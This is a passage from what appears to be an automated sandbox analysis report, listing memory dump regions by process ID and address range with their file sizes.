                                                      1.2MB

                                                    • memory/220-188-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-159-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-186-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-160-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-161-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-179-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-180-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-162-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-185-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-181-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-184-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-183-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-163-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-182-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/224-329-0x00000000003D0000-0x00000000003DC000-memory.dmp

                                                      Filesize

                                                      48KB

                                                    • memory/380-387-0x00000000037A0000-0x0000000003863000-memory.dmp

                                                      Filesize

                                                      780KB

                                                    • memory/380-366-0x0000000003135000-0x0000000003983000-memory.dmp

                                                      Filesize

                                                      8.3MB

                                                    • memory/380-363-0x0000000000400000-0x0000000000E54000-memory.dmp

                                                      Filesize

                                                      10.3MB

                                                    • memory/380-334-0x0000000003135000-0x0000000003983000-memory.dmp

                                                      Filesize

                                                      8.3MB

                                                    • memory/380-364-0x0000000077400000-0x00000000775A3000-memory.dmp

                                                      Filesize

                                                      1.6MB

                                                    • memory/380-330-0x0000000077400000-0x00000000775A3000-memory.dmp

                                                      Filesize

                                                      1.6MB

                                                    • memory/380-362-0x0000000003990000-0x0000000003AEE000-memory.dmp

                                                      Filesize

                                                      1.4MB

                                                    • memory/380-325-0x0000000000400000-0x0000000000E54000-memory.dmp

                                                      Filesize

                                                      10.3MB

                                                    • memory/1040-352-0x00000190CF790000-0x00000190CF79F000-memory.dmp

                                                      Filesize

                                                      60KB

                                                    • memory/1040-371-0x00000190CF790000-0x00000190CF79F000-memory.dmp

                                                      Filesize

                                                      60KB

                                                    • memory/1328-346-0x0000024C3ADA0000-0x0000024C3ADAF000-memory.dmp

                                                      Filesize

                                                      60KB

                                                    • memory/1716-197-0x0000000006020000-0x000000000603E000-memory.dmp

                                                      Filesize

                                                      120KB

                                                    • memory/1716-211-0x00000000070E0000-0x00000000070FA000-memory.dmp

                                                      Filesize

                                                      104KB

                                                    • memory/1716-200-0x0000000006DA0000-0x0000000006DBA000-memory.dmp

                                                      Filesize

                                                      104KB

                                                    • memory/1716-177-0x0000000005A90000-0x0000000005AAE000-memory.dmp

                                                      Filesize

                                                      120KB

                                                    • memory/1716-168-0x0000000004AD0000-0x0000000004AF2000-memory.dmp

                                                      Filesize

                                                      136KB

                                                    • memory/1716-155-0x0000000000940000-0x0000000000976000-memory.dmp

                                                      Filesize

                                                      216KB

                                                    • memory/1716-204-0x0000000006E10000-0x0000000006E1A000-memory.dmp

                                                      Filesize

                                                      40KB

                                                    • memory/1716-173-0x0000000005440000-0x00000000054A6000-memory.dmp

                                                      Filesize

                                                      408KB

                                                    • memory/1716-205-0x0000000007020000-0x00000000070B6000-memory.dmp

                                                      Filesize

                                                      600KB

                                                    • memory/1716-198-0x00000000073E0000-0x0000000007A5A000-memory.dmp

                                                      Filesize

                                                      6.5MB

                                                    • memory/1716-196-0x000000006FE10000-0x000000006FE5C000-memory.dmp

                                                      Filesize

                                                      304KB

                                                    • memory/1716-195-0x0000000006040000-0x0000000006072000-memory.dmp

                                                      Filesize

                                                      200KB

                                                    • memory/1716-170-0x00000000053D0000-0x0000000005436000-memory.dmp

                                                      Filesize

                                                      408KB

                                                    • memory/1716-158-0x0000000004D30000-0x0000000005358000-memory.dmp

                                                      Filesize

                                                      6.2MB

                                                    • memory/1716-212-0x00000000070C0000-0x00000000070C8000-memory.dmp

                                                      Filesize

                                                      32KB

                                                    • memory/1716-210-0x0000000006FD0000-0x0000000006FDE000-memory.dmp

                                                      Filesize

                                                      56KB

                                                    • memory/2300-348-0x0000000000830000-0x0000000000836000-memory.dmp

                                                      Filesize

                                                      24KB

                                                    • memory/2300-370-0x0000000000830000-0x0000000000836000-memory.dmp

                                                      Filesize

                                                      24KB

                                                    • memory/2300-350-0x0000000000820000-0x000000000082B000-memory.dmp

                                                      Filesize

                                                      44KB

                                                    • memory/2356-368-0x0000000000EE0000-0x0000000000EE7000-memory.dmp

                                                      Filesize

                                                      28KB

                                                    • memory/2356-340-0x0000000000EE0000-0x0000000000EE7000-memory.dmp

                                                      Filesize

                                                      28KB

                                                    • memory/2356-341-0x0000000000ED0000-0x0000000000EDB000-memory.dmp

                                                      Filesize

                                                      44KB

                                                    • memory/2644-134-0x0000000000400000-0x0000000000550000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/2644-132-0x0000000000400000-0x0000000000550000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/2644-165-0x0000000000400000-0x0000000000550000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/2864-359-0x00000000004C0000-0x00000000004CD000-memory.dmp

                                                      Filesize

                                                      52KB

                                                    • memory/2864-358-0x00000000004D0000-0x00000000004D7000-memory.dmp

                                                      Filesize

                                                      28KB

                                                    • memory/3184-249-0x00000000738A0000-0x00000000738EC000-memory.dmp

                                                      Filesize

                                                      304KB

                                                    • memory/3352-360-0x0000000000F60000-0x0000000000F6B000-memory.dmp

                                                      Filesize

                                                      44KB

                                                    • memory/3352-328-0x0000000000C60000-0x0000000000CCB000-memory.dmp

                                                      Filesize

                                                      428KB

                                                    • memory/3352-327-0x0000000000CD0000-0x0000000000D45000-memory.dmp

                                                      Filesize

                                                      468KB

                                                    • memory/3352-361-0x0000000000F70000-0x0000000000F78000-memory.dmp

                                                      Filesize

                                                      32KB

                                                    • memory/3352-331-0x0000000000C60000-0x0000000000CCB000-memory.dmp

                                                      Filesize

                                                      428KB

                                                    • memory/3380-282-0x0000000000400000-0x0000000000417000-memory.dmp

                                                      Filesize

                                                      92KB

                                                    • memory/3380-140-0x0000000000400000-0x0000000000417000-memory.dmp

                                                      Filesize

                                                      92KB

                                                    • memory/3380-150-0x0000000000400000-0x0000000000417000-memory.dmp

                                                      Filesize

                                                      92KB

                                                    • memory/3772-344-0x0000000000160000-0x000000000016F000-memory.dmp

                                                      Filesize

                                                      60KB

                                                    • memory/3772-343-0x0000000000170000-0x0000000000179000-memory.dmp

                                                      Filesize

                                                      36KB

                                                    • memory/3772-369-0x0000000000170000-0x0000000000179000-memory.dmp

                                                      Filesize

                                                      36KB

                                                    • memory/3864-376-0x0000000000400000-0x0000000000A7D000-memory.dmp

                                                      Filesize

                                                      6.5MB

                                                    • memory/4132-336-0x0000000000840000-0x0000000000849000-memory.dmp

                                                      Filesize

                                                      36KB

                                                    • memory/4132-335-0x0000000000850000-0x0000000000854000-memory.dmp

                                                      Filesize

                                                      16KB

                                                    • memory/4132-367-0x0000000000850000-0x0000000000854000-memory.dmp

                                                      Filesize

                                                      16KB

                                                    • memory/4336-318-0x0000000005280000-0x0000000005824000-memory.dmp

                                                      Filesize

                                                      5.6MB

                                                    • memory/4336-321-0x0000000000400000-0x0000000000A7D000-memory.dmp

                                                      Filesize

                                                      6.5MB

                                                    • memory/4336-320-0x0000000000400000-0x0000000000A7D000-memory.dmp

                                                      Filesize

                                                      6.5MB

                                                    • memory/4336-317-0x0000000000400000-0x0000000000A7D000-memory.dmp

                                                      Filesize

                                                      6.5MB

                                                    • memory/4356-351-0x0000021CB7800000-0x0000021CB780F000-memory.dmp

                                                      Filesize

                                                      60KB

                                                    • memory/4436-345-0x0000022690F90000-0x0000022690F9F000-memory.dmp

                                                      Filesize

                                                      60KB

                                                    • memory/4588-273-0x0000000000400000-0x0000000000A49000-memory.dmp

                                                      Filesize

                                                      6.3MB

                                                    • memory/4588-274-0x0000000000400000-0x0000000000A49000-memory.dmp

                                                      Filesize

                                                      6.3MB

                                                    • memory/4588-276-0x0000000000400000-0x0000000000A49000-memory.dmp

                                                      Filesize

                                                      6.3MB

                                                    • memory/4628-357-0x0000026C1CB50000-0x0000026C1CB5F000-memory.dmp

                                                      Filesize

                                                      60KB

                                                    • memory/4984-378-0x0000000010580000-0x00000000105DE000-memory.dmp

                                                      Filesize

                                                      376KB

                                                    • memory/4984-339-0x00000000024EE000-0x0000000002D7B000-memory.dmp

                                                      Filesize

                                                      8.6MB

                                                    • memory/4984-333-0x0000000002304000-0x000000000246C000-memory.dmp

                                                      Filesize

                                                      1.4MB

                                                    • memory/4984-365-0x0000000002304000-0x000000000246C000-memory.dmp

                                                      Filesize

                                                      1.4MB

                                                    • memory/4984-379-0x0000000010570000-0x0000000010577000-memory.dmp

                                                      Filesize

                                                      28KB

                                                    • memory/4984-309-0x00000000024EE000-0x0000000002D7B000-memory.dmp

                                                      Filesize

                                                      8.6MB

                                                    • memory/5384-389-0x0000000000400000-0x0000000000412000-memory.dmp

                                                      Filesize

                                                      72KB

                                                    • memory/5384-391-0x0000000000400000-0x0000000000412000-memory.dmp

                                                      Filesize

                                                      72KB

                                                    • memory/5384-393-0x0000000000400000-0x0000000000412000-memory.dmp

                                                      Filesize

                                                      72KB